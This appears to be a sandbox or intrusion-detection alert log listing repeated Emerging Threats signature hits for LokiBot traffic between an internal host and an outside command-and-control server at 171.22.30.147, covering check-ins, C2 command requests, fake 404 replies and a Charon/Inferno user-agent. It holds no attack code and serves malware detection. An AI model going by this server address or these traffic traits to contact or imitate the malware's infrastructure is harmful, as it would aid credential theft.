ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497582025483 01/05/23-08:52:27.844272
SID:	2025483
Source Port:	80
Destination Port:	49758
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749785802021641 01/05/23-08:52:36.951784
SID:	2021641
Source Port:	49785
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749811802025381 01/05/23-08:52:44.140113
SID:	2025381
Source Port:	49811
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749897802825766 01/05/23-08:53:09.055046
SID:	2825766
Source Port:	49897
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749819802021641 01/05/23-08:52:46.293306
SID:	2021641
Source Port:	49819
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749834802025381 01/05/23-08:52:50.512718
SID:	2025381
Source Port:	49834
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498552025483 01/05/23-08:52:57.599001
SID:	2025483
Source Port:	80
Destination Port:	49855
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750024802021641 01/05/23-08:53:47.812882
SID:	2021641
Source Port:	50024
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749711802025381 01/05/23-08:52:12.061796
SID:	2025381
Source Port:	49711
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749719802021641 01/05/23-08:52:15.841614
SID:	2021641
Source Port:	49719
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749929802025381 01/05/23-08:53:18.948979
SID:	2025381
Source Port:	49929
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498442025483 01/05/23-08:52:54.638029
SID:	2025483
Source Port:	80
Destination Port:	49844
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499862025483 01/05/23-08:53:36.369726
SID:	2025483
Source Port:	80
Destination Port:	49986
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750042802021641 01/05/23-08:53:52.687057
SID:	2021641
Source Port:	50042
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749906802025381 01/05/23-08:53:12.686115
SID:	2025381
Source Port:	49906
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749899802024318 01/05/23-08:53:10.169881
SID:	2024318
Source Port:	49899
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750010802024318 01/05/23-08:53:42.643021
SID:	2024318
Source Port:	50010
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749899802024313 01/05/23-08:53:10.169881
SID:	2024313
Source Port:	49899
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749856802024313 01/05/23-08:52:57.793570
SID:	2024313
Source Port:	49856
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749892802825766 01/05/23-08:53:07.470439
SID:	2825766
Source Port:	49892
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750079802825766 01/05/23-08:54:02.588823
SID:	2825766
Source Port:	50079
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749806802025381 01/05/23-08:52:42.779655
SID:	2025381
Source Port:	49806
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749846802825766 01/05/23-08:52:55.097334
SID:	2825766
Source Port:	49846
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749780802021641 01/05/23-08:52:35.511333
SID:	2021641
Source Port:	49780
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749715802024313 01/05/23-08:52:14.021138
SID:	2024313
Source Port:	49715
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749866802024313 01/05/23-08:53:00.520534
SID:	2024313
Source Port:	49866
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749710802024313 01/05/23-08:52:11.662757
SID:	2024313
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499152025483 01/05/23-08:53:15.200997
SID:	2025483
Source Port:	80
Destination Port:	49915
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749710802024318 01/05/23-08:52:11.662757
SID:	2024318
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749866802024318 01/05/23-08:53:00.520534
SID:	2024318
Source Port:	49866
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749959802825766 01/05/23-08:53:28.075379
SID:	2825766
Source Port:	49959
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749828802024313 01/05/23-08:52:48.735651
SID:	2024313
Source Port:	49828
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749872802025381 01/05/23-08:53:02.084337
SID:	2025381
Source Port:	49872
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749724802021641 01/05/23-08:52:18.098497
SID:	2021641
Source Port:	49724
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749794802024313 01/05/23-08:52:39.439392
SID:	2024313
Source Port:	49794
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749828802024318 01/05/23-08:52:48.735651
SID:	2024318
Source Port:	49828
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499042025483 01/05/23-08:53:12.229759
SID:	2025483
Source Port:	80
Destination Port:	49904
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750052802021641 01/05/23-08:53:55.369344
SID:	2021641
Source Port:	50052
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749741802825766 01/05/23-08:52:22.916909
SID:	2825766
Source Port:	49741
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749794802024318 01/05/23-08:52:39.439392
SID:	2024318
Source Port:	49794
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749818802825766 01/05/23-08:52:46.013246
SID:	2825766
Source Port:	49818
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749894802024313 01/05/23-08:53:08.006895
SID:	2024313
Source Port:	49894
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749985802025381 01/05/23-08:53:36.027311
SID:	2025381
Source Port:	49985
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749752802021641 01/05/23-08:52:26.039085
SID:	2021641
Source Port:	49752
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750080802021641 01/05/23-08:54:02.852694
SID:	2021641
Source Port:	50080
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749813802825766 01/05/23-08:52:44.686594
SID:	2825766
Source Port:	49813
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749894802024318 01/05/23-08:53:08.006895
SID:	2024318
Source Port:	49894
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750010802024313 01/05/23-08:53:42.643021
SID:	2024313
Source Port:	50010
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749912802825766 01/05/23-08:53:14.329479
SID:	2825766
Source Port:	49912
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749705802024318 01/05/23-08:52:09.363911
SID:	2024318
Source Port:	49705
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749950802021641 01/05/23-08:53:24.624259
SID:	2021641
Source Port:	49950
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750057802024313 01/05/23-08:53:56.743180
SID:	2024313
Source Port:	50057
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750077802025381 01/05/23-08:54:02.067623
SID:	2025381
Source Port:	50077
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750049802025381 01/05/23-08:53:54.543372
SID:	2025381
Source Port:	50049
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499262025483 01/05/23-08:53:18.232650
SID:	2025483
Source Port:	80
Destination Port:	49926
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749997802825766 01/05/23-08:53:39.208772
SID:	2825766
Source Port:	49997
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749733802024318 01/05/23-08:52:20.679095
SID:	2024318
Source Port:	49733
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750000802024318 01/05/23-08:53:39.996140
SID:	2024318
Source Port:	50000
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750067802024318 01/05/23-08:53:59.373237
SID:	2024318
Source Port:	50067
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749733802024313 01/05/23-08:52:20.679095
SID:	2024313
Source Port:	49733
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749851802021641 01/05/23-08:52:56.435777
SID:	2021641
Source Port:	49851
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749969802825766 01/05/23-08:53:31.782144
SID:	2825766
Source Port:	49969
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750000802024313 01/05/23-08:53:39.996140
SID:	2024313
Source Port:	50000
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750029802024318 01/05/23-08:53:49.112211
SID:	2024318
Source Port:	50029
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749715802024318 01/05/23-08:52:14.021138
SID:	2024318
Source Port:	49715
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750006802024313 01/05/23-08:53:41.552586
SID:	2024313
Source Port:	50006
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749963802825766 01/05/23-08:53:30.141323
SID:	2825766
Source Port:	49963
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749940802825766 01/05/23-08:53:21.893765
SID:	2825766
Source Port:	49940
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750006802024318 01/05/23-08:53:41.552586
SID:	2024318
Source Port:	50006
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750029802024313 01/05/23-08:53:49.112211
SID:	2024313
Source Port:	50029
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749874802825766 01/05/23-08:53:02.624496
SID:	2825766
Source Port:	49874
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749761802024318 01/05/23-08:52:28.591148
SID:	2024318
Source Port:	49761
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749922802021641 01/05/23-08:53:17.061545
SID:	2021641
Source Port:	49922
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749979802021641 01/05/23-08:53:34.430839
SID:	2021641
Source Port:	49979
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749761802024313 01/05/23-08:52:28.591148
SID:	2024313
Source Port:	49761
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749838802024318 01/05/23-08:52:52.824149
SID:	2024318
Source Port:	49838
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749743802024313 01/05/23-08:52:23.467755
SID:	2024313
Source Port:	49743
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749743802024318 01/05/23-08:52:23.467755
SID:	2024318
Source Port:	49743
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749838802024313 01/05/23-08:52:52.824149
SID:	2024313
Source Port:	49838
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749735802025381 01/05/23-08:52:21.259701
SID:	2025381
Source Port:	49735
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749995802025381 01/05/23-08:53:38.676723
SID:	2025381
Source Port:	49995
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749823802021641 01/05/23-08:52:47.379297
SID:	2021641
Source Port:	49823
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749910802025381 01/05/23-08:53:13.740225
SID:	2025381
Source Port:	49910
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497692025483 01/05/23-08:52:30.909539
SID:	2025483
Source Port:	80
Destination Port:	49769
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749771802024318 01/05/23-08:52:31.374001
SID:	2024318
Source Port:	49771
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749864802825766 01/05/23-08:52:59.960618
SID:	2825766
Source Port:	49864
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749771802024313 01/05/23-08:52:31.374001
SID:	2024313
Source Port:	49771
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749969802021641 01/05/23-08:53:31.782144
SID:	2021641
Source Port:	49969
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497472025483 01/05/23-08:52:24.664652
SID:	2025483
Source Port:	80
Destination Port:	49747
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750002802025381 01/05/23-08:53:40.505314
SID:	2025381
Source Port:	50002
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749889802024313 01/05/23-08:53:06.674333
SID:	2024313
Source Port:	49889
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497362025483 01/05/23-08:52:21.623629
SID:	2025483
Source Port:	80
Destination Port:	49736
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749967802025381 01/05/23-08:53:31.230819
SID:	2025381
Source Port:	49967
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749889802024318 01/05/23-08:53:06.674333
SID:	2024318
Source Port:	49889
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749836802825766 01/05/23-08:52:51.681664
SID:	2825766
Source Port:	49836
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749707802025381 01/05/23-08:52:10.342729
SID:	2025381
Source Port:	49707
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749937802024318 01/05/23-08:53:21.090422
SID:	2024318
Source Port:	49937
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497252025483 01/05/23-08:52:18.471891
SID:	2025483
Source Port:	80
Destination Port:	49725
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749890802025381 01/05/23-08:53:06.934564
SID:	2025381
Source Port:	49890
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749699802825766 01/05/23-08:52:06.870270
SID:	2825766
Source Port:	49699
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

